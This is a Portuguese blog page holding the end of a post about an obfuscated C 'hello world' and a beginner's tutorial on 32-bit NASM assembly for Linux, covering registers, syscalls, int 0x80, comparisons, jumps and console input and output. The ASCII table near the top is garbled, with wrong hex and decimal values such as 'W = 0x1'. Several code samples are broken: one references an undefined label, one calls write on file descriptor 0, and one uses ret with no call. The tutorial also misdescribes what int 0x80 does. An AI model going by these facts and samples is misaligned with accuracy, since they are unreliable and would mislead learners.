0x77,0x6f,0x6c,0x72,0x64,0xA};"

Esses numeros hexadecimais do vetor "i" é exatamente numeros da tabela ascii referentes a cada caracter do hello world ...

Por exemplo ...

H = 0x48 ( em decimal ascii 72 )
E = 0x65  ( em decimal ascii 101 )
L = 0x6c  ( em decimal ascii 108 )
L = 0x6c   ( em decimal ascii 108 )
O = 0x6f   ( em decimal ascii 111 )
(espaço em branco) = 0x20 ( em decimal ascii 101 )
W = 0x1 ( em decimal ascii 109 )
O = 0x77 ( em decimal ascii 111 )
R = 0x6f ( em decimal ascii 101 )
L = 0x6c ( em decimal ascii 108 )
D = 0x72 ( em decimal ascii 100 )
"\n" = 0xA ( em decimal ascii 10 )

Deu pra entender ?

Para saber a tabela ascii completa , entre no link abaixo ...

O resto do código nem preciso mencionar né ...

Bom , é essa a idéia que eu queira passar , caso alguem queira se aventurar algum dia nessa competição hehe

Fonte(s) de estudo :

Link1 : http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.19.9052&rep=rep1&type=pdf

Link2 : https://www.cosic.esat.kuleuven.be/publications/thesis-199.pdf
 

Notou algo errado ou incorreto nesse post ? Nos informe -> Aqui!

Até uma proxima.
Read More

quarta-feira, 12 de outubro de 2016

4

Introdução - Assembly para i386 (32bits) parte.1


Fala ae pessoal, para os que acompanham ou não isso aqui ... ta vendo aquilo la encima ? la encima do post ? sim o "part.1" , isso significa que esse post não vai tratar de tudo o'que tenho em mente sobre assembly , e vou ressaltar a parte "i386" ... essa bagaça é mais para quem opera com computadores com processador 32 bits ..

PS : O conteudo apresentado nesse post foi testado no linux na distribuição manjaro...

OBS : Um conhecimento básico sobre hardware se faz necessário para o entendimento desse post, não preciso nem falar que você vai ter que ter o linux instalado,o Assembler NASM tambem e um linkador que pode ser o ld e tambem um pouco de café para não dormir lendo isso...


NASM : www.linuxfromscratch.org/blfs/view/svn/general/nasm.html
LD : O ld vem por padrão na maioria das distros linux...





Agora vamos ao que interessa !





Bom ... vejo muita gente reclamando que assembly é dificil , que é isso ou aquilo ,não consigo entender isso assembly é menos complexa que linguagens de alto nivel e na verdade ela é facil em sí...

Algo importante a se levar em conta ... de assembler para assembler algumas coisas mudam como de nasm para gas , tasm , masm e etc ... a arquitetura tambem muda algumas coisas como registradores dentre outros "pequenos" detalhes.

 Bom , putsss , eu nem sei por onde começar , não sou nenhum "L33t0" nesse tipo de assunto...

Vamos começar pelos registradores ... eu não vou mencionar todos , mas os principais que iremos estudar vão ser os processadores 32 bits...

EAX - ( Acumulador )
EBX - ( Base )
ECX - ( Contador )
EDX - ( Dados )

Por ser em ordem alfabetica são faceis de decorar ( ou não ) certo ?

Outra coisa que terão que entender são os segmentos de memoria como :

section .data ( segmento aonde ficarão os dados como váriaveis "estáticas" ou não, mas a declaração de váriaveis fixas se faz sim nesse segmento )

section .text ( segmento ou espaço aonde ficara o codigo do programa )

Tendo isso em mente vamos continuar...

Agora teremos que compreender um pouco como asm funciona...

Nas linguagens de nivel mais alto , como C , precisam ter um ponto central ao qual estarão as instruções iniciais ... no caso do C é o main() ...

No assembly esse ponto central são os chamados labels ... você devera definir o label inicial ...

Usamos a instrução global pra isso ...

Por exemplo : global _start

logo depois colocamos no codigo "_start:" e dali pra baixo as instruções que tiverem escritas fazem parte da label "_start" , entenderam ?

Vamos a um exemplo ...

<--code

section .data

section .text

global _start
_start:
mov eax,0x1
mov ebx,0x0
int 0x80

-->code

Então as instruções "mov eax,0x1" e "mov ebx,0x0" fazem parte da label _start...

E o int 0x80 ? int 0x80 é uma interrupção , veremos isso mais pra frente ...

O'que é uma syscall ou system call ( chamada de sistema ) é quando o programa solicita ao kernel um serviço ou funçao para determinada tarefa ... por exemplo uma função que trata de exibir algo na tela ...

Vou explicar a minhas palavras de uma forma que o mais iniciante possa entender ... se você veio de outra linguagem de programação ... sabe o'que um printf , getch , exit, rand e outras funções fazem não ??

Digamos que a syscall é o numero de cada função ...

Por exemplo 1 = exit ... 4 = print e por ae vai ...

Lembre-se disso ! para nós chamarmos funções no assembly iremos precisar do numero da tal função ! vou passar uma tabela aqui de syscalls...

http://asm.sourceforge.net/syscall.html

Bom , tendo tudo isso em mente vamos partir para as interrupções ...

Primeiramente vamos ao conceito de interrupção, concedida pela wikipedia e depois sim vou falar sobre o assunto .

" Em Ciência da Computação, uma interrupção é um sinal de um dispositivo que tipicamente resulta em uma troca de contextos, isto é, o processador para de fazer o que está fazendo para atender o dispositivo que pediu a interrupção.
Computadores digitais geralmente oferecem uma maneira de iniciar rotinas de software em resposta a eventos eletrônicos assíncronos. Esses eventos são sinalizados para o processador através de pedidos de interrupção (IRQs). O processamento da interrupção compõe uma troca de contexto para uma rotina de software especificamente escrita para tratar a interrupção. Essa rotina é chamada rotina de serviço de interrupção, ou tratador de interrupção (interrupt handler)."

 Caralhoooo que texto longo da wikipedia ... isso que coloquei só uma parte ;-;

Bom , vou me por no modo ignorante e tentar lhe passar a idéia de como funciona uma interrupção ... a interrupção irá parar o processador para executar algo expecifico, como o seu código em sí ...

Bom digamos que ao final de todas as instruções do assembly , colocamos uma interrupção "int" como int 0x80 para que ele execute as instruções acima...

Agora vamos ver algumas instruções em assembly ... a principal que iremos usar nessa primeira parte da séries de post que irei fazer sobre assembly é a função "mov" que serve para mover valores para dentro de registradores ...

Sua sintaxe é : mov registrador,valor
Exemplo : mov eax,0x3
Ou ... mov eax,3

// Você não é obrigado a usar hexadecimal nos valores , isso é opcional !

a instrução xor , tambem é util pois zera o valor do registrador expecificado...

Sua sintaxe é : xor registrador,registrador
Exemplo : xor eax,eax

Outra coisa ... comentarios em assembly são definidos pelo prefixo ";" por exemplo...

; comentarios

E esse prefixo taxa como comentario apenas na linha que ele está então:

; o'que tiver escrito aqui é ignora
  Aqui não!
 

bom , agora vamos a uma base de como iremos usar os registradores...

primeiramente , o valor de eax é a syscall que sera executada ... então se queremos executar um exit , devemos mover o valor 1 para o eax...

os demais registradores vai de acordo com os argumentos que a função ou syscall que você expecificou recebe ...

por exemplo a função write que iremos utilizar daqui a pouco...

sys_write(unsigned int fd, const char * buf, size_t count)








Perceberam ? os proximos registradores devem receber valores relacionados aos argumentos que devem ser passados pra função, no exemplo da write seria...



mov eax,0x4
mov ebx,0x1 ; Isso na verdade não é necessário ser 1
mov ecx,nome-da-variavel
mov edx,numero-de-caracters-da-string-da-variavel

Por exemplo vamos a um programa basico em assembly... um que ele simplesmente chame a função exit e finalize o programa ! ( isso um programa bem inutil mesmo :/ )

Nósso programa se chamara teste1.s

<--code
section .data
section .text
global _start
_start:
mov eax,0x1
mov ebx,0x0
-->code

tendo o nasm instalado use o comando abaixo para compilar...
PS : O nasm ira criar um codigo objeto com o mesmo nome e extenção .o que você deve compilar com o ld...

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste1

E logo depois executamos como vemos abaixo...

$ ./teste1

E você logo percebe que ele não retornou absolutamente porcaria nenhuma ...

Bem , foi pra isso que ele foi feito ... mas vamos continuar ...

0x1 ou 1 em decimal , é a syscall da função exit ... aliás todo o programa escrito assembly deve conter esse código pois um programa não se fecha sozinho, diferente de programas escritos em outras linguagens que ja fazem isso...

Se você fizer um codigo em asm sem usar uma instrução para finalizar ele , ele não ira retornar erro, talvez ele simplesmente feche sozinho e retorne um warning no terminal ... depende muito do caso ...




<--code

section .data
variavel db "ola mundo"
len equ $-msg
section .text

global _start

_start:
mov eax,0x4
mov ebx,0x0
mov ecx,variavel
mov edx,len
int 0x80

mov eax,0x1
mov ebx,0x0
int 0x80
-->code

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste
$ ./teste1
Ola mundo
$

O prefixo "db" expecifica que a váriavel ira conter uma string!
O prefixo "$-" é pra expecificar o endereço de uma variavel ao qual ele ira guardar o numero de caracters dela nessa variavel...

O codigo acima foi bem compreendido ?

Vamos partir para aos sistemas de condições como if e else das linguagens de alto nivel ???

para comparar dados no assembly utilizamos a função cmp...
ela compara o dado de um registrador com o do outro...
logo precisaremos mover um dado para um registrador com a instrução mov, nesse caso o dado que iremos comparar...

Sua sintaxe é ...

cmp registrador,registrador-a-ser-comparado

Exemplo : cmp eax,ebx

logo ele compara os dados dos 2 registradores expecificados

Esse "dado" pode ser o endereço de um registrador ... o dado-a-ser-comparado tambem ... você pode utilizar os registradores como variaveis =)

Para saber se um dado é igual usamos a instrução je ...

Sua sintaxe é :

je label

Como assim label ? bom , você pode criar outras labels alem de _start , e deve ... label são espaços aonde contem instruções a serem executadas ...

Para criar uma basta colocar um nome qualquer seguido do prefixo ":" por exemplo no codigo abaixo...

<--code
section .data
section .text
global _start
_start:
mov eax,0x1
mov ebx,0x0
int 0x80

lol:
mov eax,0x1
mov ebx,0x0
-->code

A label "lol" contem instruções que apesar de estarem escritas não seram executadas ...

OBS : Não é porquê existe uma label antes de "_start" que ela sera executada primeiro !

bom ... vamos voltar as condições ... vamos usar a label lol por exemplo...

Se queremos comparar um dado por exemplo se 1 é igual a 1... fica o seguinte codigo ...

<--code
section .data
section .text
global _start
_start:
mov edx,1
mov ecx,1
cmp edx,ecx
je lol

lol:
mov eax,0x1
mov ebx,0x0
int 0x80
-->code

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste1
$ ./teste1
$

Ele não retornou nada , então ta tudo correto ... do contrario poderia dar segmentation fault ...

Bom sobre comparação ... o je compara se são iguals ... mas e outros ?

Aqui vai uma lista dos prefixos de comparação...

je = se for igual
jne = se não for igual
jle = se for menor ou igual
jge = se for maior ou igual
jg = se for maior
jl = se for menor


Vamos cair de cara nas labels ... bom , mudando o prefixo , vamos "saltar" para as labels , pois é exatamente disso que iremos falar ...

Como "saltar" de um label para outra ?

Digamos que você queira executar as instruções de uma label chamada "fuck"

Como saltar para ela ? bom ... uma função que faz isso é a jmp

e sua sintaxe é : jmp label 

simples não ? o codigo ficaria o seguinte com ela...

<--code
section .data
section .text
global _start
_start:
jmp fuck

fuck:
mov eax,0x1
mov ebx,0x0
int 0x80
-->

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste1
$ ./teste1
$

Ele não ira retornar nada pois só executa um exit !

Bom caso você pule para uma label ele continuara a execução la e ficara APENAS la , a menos que você tenha escrito la uma função que pule para outro lugar ou que finalize o programa ...

Mas e caso você queira tornar a label inicial no caso "_start"

Pra isso existe a função ret ...

Ela não tem sintaxe , basta apenas digitar ret kkk por exemplo

<--code
section .data
section .text
global _start
_start:
jmp fuck
mov eax,0x1
mov ebx,0x0
int 0x80

fuck:
ret
-->

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste1
$ ./teste1
$

Retornou nada novamente kkk , bom agora veremos um exemplo de um código que le o teclado ... usaremos a syscall read ( 3 ) para isso ...

<--code

section .data
section .bss
var resb 0x4
section .text
global _start
_start:
mov eax,0x3
mov ebx,0x0
mov ecx,var
mov edx,0x4
int 0x80

mov eax,0x1
mov ebx,0x0
int 0x80

-->code

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste1
$ ./teste1
lol
$

Perceberam que ele leu o teclado certo ? eu digitei a palavra lol ( pois ela combina comigo ) e logo ela vou enviada para a variavel "var" que está no segmento bss...

mas section .bss ? que segmento é esse ... bom digamos que é o segmento aonde você podera declarar váriaveis para alocar dados e vamos deixar assim nesse primeiro momento ( eu explico da forma que melhor pode ser compreendida , não significa que o'que eu falo seja como deveria ser explicado... )

a section .bss deve ficar antes da section .text ... é bom lembrar disso okay ?

Vamos fazer agora um programa que peça para digitarmos algo e leia oque digitarmos e imprima novamente...

<--code

section .data
imprimir db "insira algo: "
imprimirlen equ $-imprimir

section .bss
var resb 0x4
section .text
global _start
_start:
mov eax,0x4
mov ebx,0x0
mov ecx,imprimir
mov edx,imprimirlen
int 0x80

mov eax,0x3
mov ebx,0x0
mov ecx,var
mov edx,0x4
int 0x80

mov eax,0x4
mov ebx,0x0
mov ecx,var
mov edx,4
int 0x80

mov eax,0x1
mov ebx,0x0
int 0x80

-->code

$ nasm -f elf32 teste1.s
$ ld teste1.o -o teste1
insira algo: ola
ola
$

Bom , vocês viram que executou normalmente ... tem outras funções como add,sub, inc e etc ... que não vou falar nesse post , porque ja está granda pra caramba e porque ja são 2 da manhã e ainda to aqui ... escrevendo ...

Se você leu até aqui ... poxa , valeu cara ! de verdade ... fico pensando se existe alguem que leu até aqui kkkk, vamos parando de drama.. é isso vou ficando por aqui ...

Fontes de estudo:
Link1 : www.nasm.us/

Cara ... sobre nasm , nem tenho o'que falar , não preciso por fontes de estudo ... basta procurar a documentação da linguagem ... livros eu não conheço muitos , eu aprendi lendo docs e alguns artigos expecificos ... desculpem mesmo :/

Achou algo incorreto ? Nós informe Aqui! 

- Achou que tinha terminado aqui ? hahaha

Você não entendeu nada até aqui ? vamos entender a base de um programa em asm só pra deixar tudo claro , basicamente isso aqui é um resumão de tudo que falamos até agora .

section .data
; daqui pra baixo é o espaço para declarar variaveis , vamos a um exemplo ?
; vamos declarar uma variavel contando a string "ola mundo-unix"

section .data
mundounix db "ola mundo-unix"

Pronto , declaramos , simples não ? :P

section .text
; daqui pra baixo fica o código do seu programa a ser executado =p
; simples tambem não ?

global _start
; Label ( espaço ) aonde ficarão as instruções do seu programa
; No caso devemos definir a label depois ... quer um exemplo em C ?

<--code
int contar(){
}
int main(){
}
-->code

o código acima contem 2 funções né ? pense nelas como labels ... é exatamente isso no assembly , oq muda eq chamamos de label mesmo kkkk

E para definirmos a label inicial global _start, assim como somos obrigados a definir o main() no C !

logo ficaria assim

global _start

_start:
; daqui pra baixo deve conter o código da label _start ( label principal )

Agora a interrupção ou int 0x80 ... que alguns podem não ter entendido ... incialmente pense no int 0x80 ou int 80h como uma instrução para executar o código que você escreveu acima !

Exemplo...

mov eax,0x1
mov ebx,0x0
int 0x80
; Isso executa as 2 instruções mov e as executa !!!

Facil não ??? pense no int 0x80 apenas como algo para executar seu código...

Vamos a um exemplo final ...

<--code
section .data
variavel db "ola mundo"

section .text

global_start
_start:
mov eax,0x4 ; syscall write q é usada para escrever algo na tela
mov ebx,0x1 ; Define o modo de video se não me engano rsrs (stdout = 1)
mov ecx,variavel ; nome da variavel a ser exibida
mov edx,0x9 ; numero de caracters da variavel
int 0x80 ; executa tudo acima

mov eax,0x1 ; mov o valor 1 para eax ( que serve para chamar a syscall exit )
mov ebx,0x0 ; move o valor 0 para ebx... isso não é necessário !
int 0x80 ; executa as instruções acima
-->code

É isso, espero que tenham entendido como é a estrutura de um programa em asm ...

Tenham uma boa noite ... e pra mim tambem , pois ja são 2 da madrugada :/ hehe nos vemos em uma segunda parte desse post .

Read More
Tecnologia do Blogger.

Popular Posts